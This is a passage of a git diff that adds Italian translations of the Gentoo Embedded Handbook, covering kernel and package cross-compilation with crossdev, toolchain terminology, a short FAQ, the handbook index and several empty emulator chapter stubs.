+La variabile <c>CROSS_COMPILE</c> dovrebbe essere auto esplicativa. Essa va
+valorizzata con il prefisso della propria toolchain (trattino finale "<c>-</c>"
+incluso). Perciò se si invoca la propria toolchain come
+<c>x86_64-pc-linux-gnu-gcc</c>, sarà sufficiente eliminare quel <c>gcc</c> in
+coda ed il risultato è ciò che si dovrà usare: <c>x86_64-pc-linux-gnu-</c>.
+</p>
+
+<p>
+C'è una variabile aggiuntiva, <c>INSTALL_MOD_PATH</c>, che definisce dove verrà
+creata la directory <path>/lib</path> e dove verranno memorizzati tutti i
+moduli. Sebbene non serva trasferire i sorgenti del kernel nel proprio
+dispositivo di destinazione, se si compilerà un qualunque modulo ci sarà
+bisogno di questa directory.
+</p>
+
+<p>
+Ci sono due modalità per preparare il sistema. È possibile modificare il
+Makefile presente nella directory radice o valorizzare le variabili rilevanti da
+linea di comando. Entrambe sono corrette: è solo una questione di gusti, perciò
+verranno illustrate entrambe. Sceglierne una delle due.
+</p>
+
+<pre caption="Modifica del Makefile nella directory radice">
+<comment># Il Makefile di un kernel vanilla si presenta così</comment>
+ARCH            ?= $(SUBARCH)
+CROSS_COMPILE   ?=
+
+<comment># Specificare i valori predefiniti di ARCH e CROSS_COMPILE</comment>
+ARCH            ?= <i>arm</i>
+CROSS_COMPILE   ?= <i>arm-unknown-linux-gnu-</i>
+</pre>
+
+<pre caption="Valorizzare le variabili da linea di comando">
+# <i>make ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnu- ....</i>
+</pre>
+
+<p>
+È anche possibile usare un piccolo script per semplificarsi la vita se si deve
+lavorare con diversi kernel contemporaneamente. Questo script verrà chiamato
+<c>xkmake</c>.
+</p>
+
+<pre caption="xkmake">
+#!/bin/sh
+exec make ARCH="arm" CROSS_COMPILE="arm-unknown-linux-gnu-" INSTALL_MOD_PATH="${SYSROOT}" "$@"
+</pre>
+
+<p>
+Così quando si vorrà compilare un kernel o fare qualunque altra cosa, sarà
+sufficiente eseguire <c>xkmake</c> al posto di <c>make</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurazione e Compilazione</title>
+<body>
+
+<p>
+A questo punto, la configurazione e la compilazione del kernel è la stessa di
+ogni altro kernel, per cui non verrà approfondito l'argomento dato che sono
+presenti già molti HOWTO e guide che trattano l'argomento in dettaglio.
+</p>
+
+<pre caption="Configurazione e Compilazione">
+# <i>cd "${SYSROOT}/usr/src/linux"</i>
+# <i>xkmake menuconfig</i>
+# <i>xkmake</i>
+</pre>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/cross-compiling-packages.xml b/xml/htdocs/proj/it/base/embedded/handbook/cross-compiling-packages.xml
new file mode 100644
index 00000000..7fcb882a
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/cross-compiling-packages.xml
@@ -0,0 +1,183 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/cross-compiling-packages.xml,v 1.4 2010/08/25 21:31:33 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Usare Portage come Cross-Compilatore e Gestore di pacchetti.
+</abstract>
+
+<version>4</version>
+<date>2010-08-09</date>
+
+<section>
+<title>Variabili</title>
+<body>
+
+<p>
+Ci sono alcune importanti variabili che verranno usate in questa sezione.
+</p>
+
+<table>
+ <tr>
+  <th>Variabile</th>
+  <th>Significato</th>
+ </tr>
+ <tr>
+  <ti>CBUILD</ti>
+  <ti>Piattaforma su cui si sta compilando</ti>
+ </tr>
+ <tr>
+  <ti>CHOST</ti>
+  <ti>Piattaforma per cui si sta compilando</ti>
+ </tr>
+ <tr>
+  <ti>ROOT</ti>
+  <ti>La <path>/</path> virtuale sulla quale si sta installando</ti>
+ </tr>
+ <tr>
+  <ti>PORTAGE_CONFIGROOT</ti>
+  <ti>
+    La <path>/</path> dove portage può trovare i suoi file di configurazione
+    (come <path>make.conf</path>)
+  </ti>
+ </tr>
+</table>
+
+<p>
+È possibile valorizzarle tutte a mano, ma questo ovviamente diventa presto
+una scocciatura. Un'idea migliore è invece quella di specificare queste
+variabili in uno script di shell così da evitare di digitarle ogni volta.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configurazione del Filesystem</title>
+<body>
+
+<p>
+Il cross-compilare un sistema richiede generalmente due alberature di directory.
+La prima, dove tutti i file di sviluppo sono normalmente installati. Questa è
+la vostra sysroot. L'altra alberatura è invece dove verranno installati i file
+che devono essere eseguiti. Una volta installati con emerge tutti i pacchetti
+nella sysroot (senza aver rimosso alcun file) sarà sufficiente installare
+tramite pacchetti binari o copiando a mano tutti i file desiderati
+nell'alberatura di esecuzione.
+</p>
+
+<p>
+È convenzione usare l'alberatura presente sotto <path>/usr/CTARGET/</path>
+come sysroot, dato che il cross-compilatore è già configurato per cercare in
+tale percorso le directory degli include e delle librerie. È anche possibile
+usare un'altra directory, aggiungendone poi il percorso alle CPPFLAGS/LDFLAGS
+tramite l'opzione -I/-L, ma questo opzione storicamente si è rivelato esser
+problematica: anche se dovesse funzionare, è sconsigliata e scoraggiata. D'ora
+in avanti si assumerà che si stia usando la sysroot come propria ROOT di
+sviluppo.
+</p>
+
+<p>
+Il sistema che poi si vorrà eseguire avrà probabilmente bisogno di un po' di
+lavoro per esser alleggerito e snellito. Proprio per via dei file che si
+rimuoveranno dai pacchetti installati, questo ambiente non è adatto per la
+compilazione. Mentre si installa la sysroot si possono generare pacchetti binari
+dei vari applicativi, dai quali, con l'aggiunta della variabile
+<c>INSTALL_MASK</c> sono facilmente rimuovibili i file giudicati superflui.
+Leggere <c>man make.conf</c> per ottenere maggiori informazioni.
+</p>
+
+</body>
+</section>
+<section>
+<title>Introduzione: wrapper di crossdev</title>
+<body>
+
+<p>
+Ci sono dei semplici script wrapper che imposteranno al posto dell'utente le
+variabili d'ambiente in modo da farle puntare alle giuste posizione per
+permettere la cross compilazione usando emerge. PORTAGE_CONFIGROOT e ROOT
+punteranno entrambe a SYSROOT.
+</p>
+
+<pre caption="wrapper di crossdev">
+# <i>emerge crossdev</i>
+</pre>
+
+<p>
+È possibile usare questi strumenti sia per installare nella propria root di
+sviluppo (sysroot) sia in quella per l'esecuzione. Per quest'ultima,
+specificarla usando semplicemente l'opzione <c>--root</c>. Per esempio, se si ha
+effettuato l'emerge di una toolchain <c>armv4tl-softfloat-linux-gnueabi</c>
+tramite crossdev successivamente si dovrebbe invocare il comando come un
+normale emerge, usando però il prefisso <c>ctarget</c>:
+</p>
+
+<pre caption="CTARGET-emerge">
+# <i>armv4tl-softfloat-linux-gnueabi-emerge pkg0 pkg1 pkg2</i>
+</pre>
+
+<p>
+Come impostazione predefinita questi wrapper usano l'opzione
+<c>--root-deps=rdeps</c> per evitare che le dipendenze dell'host vengano
+incluse nell'albero delle dipendenze. Ciò potrebbe portare ad alberi di
+dipendenze incompleti. Perciò si potrebbe voler usare --root-deps singolarmente
+per vedere il grafico completo delle dipendenze.
+</p>
+
+<p>
+Come impostazione predefinita i wrapper si collegheranno al profilo embedded
+generico. Questo viene fatto per semplificare le cose, ma l'utente potrebbe
+desiderare un profilo di destinazione più avanzato. Per poterlo fare è
+possibile aggiornare il collegamento simbolico al profilo.
+</p>
+
+<pre caption="${SYSROOT}/etc/make.profile">
+# <i>ln -s /usr/portage/profiles/default/linux/arm/10.0
+${SYSROOT}/etc/make.profile</i>
+</pre>
+
+<p>
+E naturalmente per cambiare le impostazioni del sistema di destinazione, tipo
+flag USE, FEATURES e VIDEO_CARDS, si modificheranno i file di configurazione
+standard di portage.
+</p>
+
+<pre caption="${SYSROOT}/etc/make.conf">
+# <i>$EDITOR ${SYSROOT}/etc/make.conf</i>
+</pre>
+
+<p>
+Qualche volta ci sono alcun test addizionali per gli script di configurazione
+che bisogna necessariamente aggirare. Per far ciò i wrapper esportano alcune
+variabili per forzare i test a ricevere la risposta desiderata. Ciò aiuterà a
+prevenire sprechi di risorse nei pacchetti che aggiungono funzioni locali per
+aggirare eventuali problemi nel proprio sistema che impedirebbero l'esecuzione
+del test. Di volta in volta potrebbe essere necessario aggiungere variabili
+aggiuntive a questi file in <path>/usr/share/crossdev/include/site/</path> in
+modo da permettere la compilazione di un pacchetto. Per capire quale variabile
+bisogna aggiungere, spesso basta eseguire un grep sullo script di configurazione
+per individuare la variabile autoconf e aggiungerla all'appropriato file di
+destinazione. Ciò diviene ovvio dopo le prime volte che si esegue tale
+operazione.
+</p>
+
+</body>
+</section>
+<section>
+<title>Disintallazione</title>
+<body>
+
+<p>
+Se si desidera disinstallare ed eliminare quanto fatto, sarà sufficiente
+rimuovere l'alberatura presente nella sysroot, senza intaccare alcun pacchetto
+nativo installato. Si legga anche la sezione relativa alla disinstallazione
+nella guida relativa alla
+<uri link="cross-compiler.xml">cross-compilazione</uri>.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/cross-qemu.xml b/xml/htdocs/proj/it/base/embedded/handbook/cross-qemu.xml
new file mode 100644
index 00000000..1047d243
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/cross-qemu.xml
@@ -0,0 +1,23 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/cross-qemu.xml,v 1.1 2009/03/11 13:57:49 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Come compilare con QEMU user.
+</abstract>
+
+<version>0.1</version>
+<date>2009-03-09</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+<p>
+</p>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/emu-armulator.xml b/xml/htdocs/proj/it/base/embedded/handbook/emu-armulator.xml
new file mode 100644
index 00000000..38b3c3a2
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/emu-armulator.xml
@@ -0,0 +1,24 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/emu-armulator.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Emula armnommu/uClinux (Linux senza mmu) in un ambiente GDB.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/emu-hercules.xml b/xml/htdocs/proj/it/base/embedded/handbook/emu-hercules.xml
new file mode 100644
index 00000000..225f22d2
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/emu-hercules.xml
@@ -0,0 +1,24 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/emu-hercules.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Hercules è un emulatore per mainframe System/370, ESA/390 e z/Architecture.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/emu-qemu.xml b/xml/htdocs/proj/it/base/embedded/handbook/emu-qemu.xml
new file mode 100644
index 00000000..7c38a4b2
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/emu-qemu.xml
@@ -0,0 +1,25 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/emu-qemu.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Un emulatore e virtualizzatore di architetture generico e open source per x86,
+x86_64, arm, sparc, powerpc, mips, m68k (coldfire), e superh.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/emu-skyeye.xml b/xml/htdocs/proj/it/base/embedded/handbook/emu-skyeye.xml
new file mode 100644
index 00000000..4c53ca45
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/emu-skyeye.xml
@@ -0,0 +1,24 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/emu-skyeye.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Simulatore di hardware ARM embedded
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/emu-softgun.xml b/xml/htdocs/proj/it/base/embedded/handbook/emu-softgun.xml
new file mode 100644
index 00000000..4f04d420
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/emu-softgun.xml
@@ -0,0 +1,24 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/emu-softgun.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Emulatore software ARM.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Utilizzo</title>
+<body>
+
+<p>
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/faq.xml b/xml/htdocs/proj/it/base/embedded/handbook/faq.xml
new file mode 100644
index 00000000..3e4d1ccd
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/faq.xml
@@ -0,0 +1,64 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/faq.xml,v 1.1 2008/04/06 15:57:55 scen Exp $ -->
+
+<sections>
+
+<abstract>
+FAQ - Domande Poste Frequentemente al progetto Gentoo Embedded.
+</abstract>
+
+<version>0.2</version>
+<date>2008-03-20</date>
+
+<section>
+<title>Mi dà l'errore "configure: error: C compiler cannot create
+executables"</title>
+<body>
+
+<p>
+Questo è un errore generico e può esser causato da un'infinità di situazioni.
+Il test è molto semplice: il compilatore scelto può creare eseguibili? Questo
+però dipende numerose condizioni che devono essere verificate: la toolchain deve
+essere completamente integra, il compilatore e le opzioni di compilazione devono
+essere appropriate, l'ambiente deve essere configurato correttamente, ecc... Il
+solo modo per trovare l'origine del problema è quello di leggere riga per riga
+il file <path>config.log</path> fino a dove viene eseguito tale test e di vedere
+il messaggio d'errore generato dalla toolchain.
+</p>
+
+</body>
+</section>
+<section>
+<title>"epatch" fallisce sempre su un sistema appena compilato</title>
+<body>
+
+<p>
+Il pacchetto bash non cross-compila molto bene e mischia le definizioni dei
+segnali ta sistema host e target. Questa problematica si manifesta in diverse
+maniere a seconda della combinazione di architecture tra host e target. Per
+risolvere il problema è sufficiente ricompilare il pacchetto bash. "Ma la bash
+usa epatch!" verrà fatto notare. Per questo, si dovrà modificare l'ebuild
+commentando tutte le chiamate a epatch. Una volta installato con questo metodo
+il pacchetto bash funzionante, scommentare e ricompilarlo nuovamente.
+</p>
+
+</body>
+</section>
+<section>
+<title>La costruzione di uClibc va in segfault/crash quando sta compilando i
+locale</title>
+<body>
+
+<p>
+Il supporto alla localizzazione da parte di uClibc è al momento altamente
+sperimentale. A meno che non si abbia veramente la necessità di tale supporto
+(e la volontà di aiutare a risolvere il problema), disabilitare semplicemente
+il supporto aggiungendo <c>-nls -iconv -pregen -userlocales</c> alla propria
+<c>USE</c> quando si compilerà uClibc.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/index.xml b/xml/htdocs/proj/it/base/embedded/handbook/index.xml
new file mode 100644
index 00000000..09ee7acd
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/index.xml
@@ -0,0 +1,224 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/index.xml,v 1.8 2010/06/23 20:34:29 scen Exp $ -->
+
+<book link="/proj/it/base/embedded/handbook/index.xml" lang="it">
+<title>Manuale Gentoo Embedded</title>
+
+<author title="Autore">
+  <mail link="vapier"/>
+</author>
+<author title="Autore">
+  <mail link="solar"/>
+</author>
+<author title="Autore">
+  <mail link="robbat2"/>
+</author>
+<author title="Autore">
+  <mail link="alextarkovsky@gmail.com">Alex Tarkovsky</mail>
+</author>
+<author title="Autore">
+  <mail link="alexxy@gentoo.org">Alexey Shvetsov</mail>
+</author>
+<author title="Autore">
+  <mail link="armin76"/>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traduzione">
+  <mail link="deadhead@goodfellow.it">Andrea Perotti</mail>
+</author>
+
+<abstract>
+Il Manuale Gentoo Embedded vuole essere il punto di riferimento per tutti i
+progetti Embedded sviluppati con Gentoo. Punta infatti a coprire tutti gli
+aspetti del processo di sviluppo -- dalla teoria al design alla pratica.
+</abstract>
+
+<license/>
+
+<version>0.4</version>
+<date>2009-12-10</date>
+
+<part>
+<title>Argomenti Generali</title>
+<abstract>
+I concetti del mondo Embedded: da conoscere prima di metter mano all'hardware.
+</abstract>
+
+<chapter>
+<title>Introduzione</title>
+<include href="intro.xml"/>
+</chapter>
+
+<chapter>
+<title>Creare un Cross-Compilatore</title>
+<include href="cross-compiler.xml"/>
+</chapter>
+
+<chapter>
+<title>Cross-Compilare con Portage</title>
+<include href="cross-compiling-packages.xml"/>
+</chapter>
+
+<chapter>
+<title>Cross-Compilare il Kernel</title>
+<include href="cross-compiling-kernel.xml"/>
+</chapter>
+
+<chapter>
+<title>Compilare in chroot con qemu-user</title>
+<include href="cross-qemu.xml"/>
+</chapter>
+
+<chapter>
+<title>FAQ - Domande Poste Frequentemente</title>
+<include href="faq.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Emulatori</title>
+<abstract>
+Gli emulatori spesso sono validi come (o più) dell'hardware stesso.
+</abstract>
+
+<chapter>
+<title>Qemu</title>
+<include href="emu-qemu.xml"/>
+</chapter>
+
+<chapter>
+<title>SkyEye</title>
+<include href="emu-skyeye.xml"/>
+</chapter>
+
+<chapter>
+<title>Armulator</title>
+<include href="emu-armulator.xml"/>
+</chapter>
+
+<chapter>
+<title>Softgun</title>
+<include href="emu-softgun.xml"/>
+</chapter>
+
+<chapter>
+<title>Hercules</title>
+<include href="emu-hercules.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>I Bootloader</title>
+<abstract>
+Dall'oscuro all'osceno, si parlerà di alcuni tra i più comuni bootloader in
+circolazione e di come utilizzarli per la prima volta.
+</abstract>
+
+<!-- Sono ordinate alfabeticamente -->
+
+<chapter>
+<title>Das U-Boot</title>
+<include href="bootloaders-das-u-boot.xml"/>
+</chapter>
+
+<chapter>
+<title>NeTTrom</title>
+<include href="bootloaders-nettrom.xml"/>
+</chapter>
+
+<chapter>
+<title>RedBoot</title>
+<include href="bootloaders-redboot.xml"/>
+</chapter>
+
+<chapter>
+<title>SH-LILO</title>
+<include href="bootloaders-sh-lilo.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Schede</title>
+<abstract>
+Alcune schede danno subito soddisfazioni mentre altre rischiano di essere una
+valle di lacrime; verranno qui illustrati i problemi più comuni che si possono
+incontrare con alcuni tra i sistemi presenti sul mercato.
+</abstract>
+
+<!-- Sono ordinate alfabeticamente -->
+
+<chapter>
+<title>Hammer/Nailboard</title>
+<include href="boards-arm-nailboard.xml"/>
+</chapter>
+
+<chapter>
+<title>LANTank</title>
+<include href="boards-sh-lantank.xml"/>
+</chapter>
+
+<chapter>
+<title>NetWinder</title>
+<include href="boards-arm-netwinder.xml"/>
+</chapter>
+
+<chapter>
+<title>NSLU2</title>
+<include href="boards-arm-nslu2.xml"/>
+</chapter>
+
+<chapter>
+<title>QNAP TurboStation 109/209/409</title>
+<include href="boards-arm-qnap.xml"/>
+</chapter>
+
+<chapter>
+<title>Marvell Sheevaplug</title>
+<include href="boards-arm-sheevaplug.xml"/>
+</chapter>
+
+<chapter>
+<title>ACME SYSTEMS Netus G20</title>
+<include href="boards-arm-netusg20.xml"/>
+</chapter>
+
+<chapter>
+<title>Genesi Efika MX</title>
+<include href="boards-arm-efikamx.xml"/>
+</chapter>
+
+</part>
+
+<part>
+<title>Ulteriori Sviluppi</title>
+<abstract>
+Questo manuale si ferma qui, vengono comunque elencate queste risorse, utili per
+realizzare i progetti che si ha in mente.
+</abstract>
+
+<chapter>
+<title>Contatti</title>
+<include href="communication.xml"/>
+</chapter>
+
+<chapter>
+<title>Come Contribuire</title>
+<include href="contributing.xml"/>
+</chapter>
+
+<chapter>
+<title>Produttori di Hardware</title>
+<include href="vendors.xml"/>
+</chapter>
+
+<chapter>
+<title>Ampliare le proprie Conoscenze</title>
+<include href="the-more-you-know.xml"/>
+</chapter>
+</part>
+
+</book>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/intro.xml b/xml/htdocs/proj/it/base/embedded/handbook/intro.xml
new file mode 100644
index 00000000..9a639b8b
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/intro.xml
@@ -0,0 +1,241 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/embedded/handbook/intro.xml,v 1.4 2010/05/05 20:05:10 scen Exp $ -->
+
+<sections>
+
+<abstract>
+Un'introduzione al mondo embedded, ai cross-compilatori e ai draghi.
+</abstract>
+
+<version>0.3</version>
+<date>2010-04-13</date>
+
+<section>
+<title>Preludio</title>
+<body>
+
+<p>
+Il cross development, sviluppare cioè su una piattaforma per eseguire ciò che è
+stato generato su di un'altra, è solitamente considerata un'arte oscura, che
+richiede molte ricerche, fatta di tentativi ed errori, alla cui base c'è la
+perseveranza. Gli intrepidi sviluppatori devono affrontare la carenza di
+documentazione e la mancanza di toolkit open source maturi e completi per lo
+sviluppo multi piattaforma. Il lavoro portato avanti dal <uri
+link="/proj/en/base/embedded/">Progetto Gentoo Embedded</uri>, dal <mail
+link="toolchain@gentoo.org">Gruppo Gentoo Toolchain</mail> e da altri
+partecipanti ha prodotto e continua a migliorare un ambiente di sviluppo basato
+su Gentoo che semplifica notevolmente il cross sviluppo.
+</p>
+
+</body>
+</section>
+<section>
+<title>La Toolchain</title>
+<body>
+
+<p>
+Il termine "toolchain" si riferisce all'insieme dei pacchetti usati per creare
+un sistema (i "tool", ossia gli strumenti, che sono usati nella catena, "chain",
+di eventi composta dal prendere dati input e generare dati in output ). E' una
+definizione imprecisa se si guarda a quali pacchetti nello specifico sono
+considerati parte della toolchain, ma al fine di semplificare il concetto, si
+considerano tutti quei componenti necessari a compilare del codice in qualcosa
+di divertente e utilizzabile.
+</p>
+
+<p>
+La toolchain è composta dai seguenti elementi:
+</p>
+
+<ul>
+  <li>
+    <c>binutils</c> - Strumenti essenziali per la manipolazione di binari
+    (include l'assembler ed il linker)
+  </li>
+  <li>
+    <c>gcc</c> - La Collezione di Compilatori GNU (il compilatore C e C++)
+  </li>
+  <li>
+    <c>glibc</c> o <c>uclibc</c> o <c>newlib</c> - La libreria C di sistema
+  </li>
+  <li>
+    <c>linux-headers</c> - Gli header del Kernel necessari alla libreria C di
+    sistema
+  </li>
+  <li><c>gdb</c> - Il debugger GNU</li>
+</ul>
+
+<p>
+Tutti i sistemi Gentoo correttamente configurati hanno installata una toolchain
+come parte del sistema base. Tale toolchain è configurata per generare binari
+per la medesima piattaforma dove è installata.
+</p>
+
+<p>
+Per generare binari su un sistema e far sì che essi possano essere eseguiti su
+una diversa piattaforma, si avrà bisogno di una toolchain speciale - una
+cosiddetta <e>cross toolchain</e> - specifica per la piattaforma di
+destinazione. Gentoo mette a disposizione per questo scopo un semplice ma
+potente strumento chiamato <c>crossdev</c>. Crossdev può generare e installare
+sul sistema un numero arbitrario di cross toolchain, purché supportate dal GCC.
+Dal momento che Gentoo installa tutti i file delle toolchain in directory
+specifiche per ogni architettura, tali toolchain non interferiranno con quella
+nativa di sistema.
+</p>
+
+</body>
+</section>
+<section>
+<title>Variabili d'Ambiente</title>
+<body>
+
+<p>
+Alcune variabili d'ambiente usate dalla toolchain di Gentoo e da Portage possono
+confondere sviluppatori non esperti di cross development. La seguente tabella
+spiega alcune di queste ingannevoli variabili e fornisce dei valori tipo, basati
+sugli esempi di cross development presentati in questa guida. Vedere <uri
+link="#terminology">Ulteriori Terminologie e Variabili</uri> per altre
+variabili insolite e relativi concetti.
+</p>
+
+<table>
+<tr>
+  <th>Variabile</th>
+  <th>Significato quando si genera una Cross-Toolchain</th>
+  <th>Significato quando si generano dei "Cross-Binari"</th>
+</tr>
+<tr>
+  <th>CBUILD</th>
+  <ti>Piattaforma su cui si sta compilando</ti>
+  <ti>Piattaforma su cui si sta compilando</ti>
+</tr>
+<tr>
+  <th>CHOST</th>
+  <ti>Piattaforma su cui la cross-toolchain sarà eseguita</ti>
+  <ti>
+    Piattaforma su cui saranno eseguiti i binari compilati dalla cross-toolchain
+  </ti>
+</tr>
+<tr>
+  <th>CTARGET</th>
+  <ti>
+    Piattaforma su cui sarano eseguiti i binari compilati dalla cross-toolchain
+  </ti>
+  <ti>
+    Piattaforma su cui sarano eseguiti i binari compilati dalla
+    cross-toolchain. Ridondante, ma non c'è pericolo se si imposta questa
+    variabile, e solo pochi binari si comportano allo stesso modo.
+  </ti>
+</tr>
+<tr>
+  <th>ROOT</th>
+  <ti colspan="2">
+    Percorso alla root virtuale (<path>/</path>) dove si andrà a installare
+  </ti>
+</tr>
+<tr>
+  <th>PORTAGE_CONFIGROOT</th>
+  <ti colspan="2">
+    Percorso alla root virtuale  (<path>/</path>) dove portage potrà trovare i
+    suoi file di configurazione (come <path>/etc/make.conf</path>)
+  </ti>
+</tr>
+</table>
+
+<p>
+Se, ad esempio, si avesse un desktop AMD64 con Gentoo e si desiderasse
+sviluppare qualcosa per il proprio PDA, architettura ARM, la tabella illustrata
+sopra apparirebbe così:
+</p>
+
+<table>
+<tr>
+  <th>Variabile</th>
+  <th>Valore per Generare la Cross-Toolchain</th>
+  <th>Valore per Generare i "Cross-Binari"</th>
+</tr>
+<tr>
+  <th>CBUILD</th>
+  <ti><c>x86_64-pc-linux-gnu</c></ti>
+  <ti><c>x86_64-pc-linux-gnu</c></ti>
+</tr>
+<tr>
+  <th>CHOST</th>
+  <ti><c>x86_64-pc-linux-gnu</c></ti>
+  <ti><c>arm-unknown-linux-gnu</c></ti>
+</tr>
+<tr>
+  <th>CTARGET</th>
+  <ti><c>arm-unknown-linux-gnu</c></ti>
+  <ti><e>non impostato</e></ti>
+</tr>
+<tr>
+  <th>ROOT</th>
+  <ti>
+    <e>non impostare -- Come impostazione predefinita punta a <path>/</path></e>
+  </ti>
+  <ti><c>/percorso/dove/verrà/installato</c></ti>
+</tr>
+<tr>
+  <th>PORTAGE_CONFIGROOT</th>
+  <ti>
+    <e>non impostare -- Come impostazione predefinita punta a <path>/</path></e>
+  </ti>
+  <ti><c>/percorso/ambiente/portage/per/arm/</c></ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section id="terminology">
+<title>Ulteriori Terminologie e Variabili</title>
+<body>
+
+<dl>
+<dt><c>canadian cross</c></dt>
+<dd>
+  Il processo di generare un cross-compilatore che funzionerà su una piattaforma
+  differente da quella dove è stato compilato (CBUILD != CHOST &amp;&amp;
+  CHOST != CTARGET)
+</dd>
+
+<dt><c>sysroot: system root</c></dt>
+<dd>
+  La directory dove il compilatore cercherà i proprio header standard e le
+  proprie librerie
+</dd>
+
+<dt><c>hardfloat</c></dt>
+<dd>
+  Il Sistema ha un'Unità a Virgola Mobile (Floating Point Unit (FPU)) per
+  gestire calcoli matematici a virgola mobile
+</dd>
+
+<dt><c>softfloat</c></dt>
+<dd>
+  Il Sistema non è dotato di una FPU hardware, perciò tutte le operazioni a
+  virgola mobile sono approssimate in virgola fissa
+</dd>
+
+<dt><c>PIE</c></dt>
+<dd>Position Independent Executable (-fPIE -pie)</dd>
+
+<dt><c>PIC</c></dt>
+<dd>Position Independent Code (-fPIC)</dd>
+
+<dt><c>CRT</c></dt>
+<dd>C RunTime</dd>
+
+<dt><c>Tuple</c></dt>
+<dd>
+  Per crossdev, è definito come una stringa nel formato
+  <c>ARCH-VENDOR-OS-LIBC</c>. Vedere <c>crossdev -t help</c> per informarsi
+  precise su come questa stringa può essere completata.
+</dd>
+</dl>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/base/embedded/handbook/terms.xml b/xml/htdocs/proj/it/base/embedded/handbook/terms.xml
new file mode 100644
index 00000000..4169dac2
--- /dev/null
+++ b/xml/htdocs/proj/it/base/embedded/handbook/terms.xml
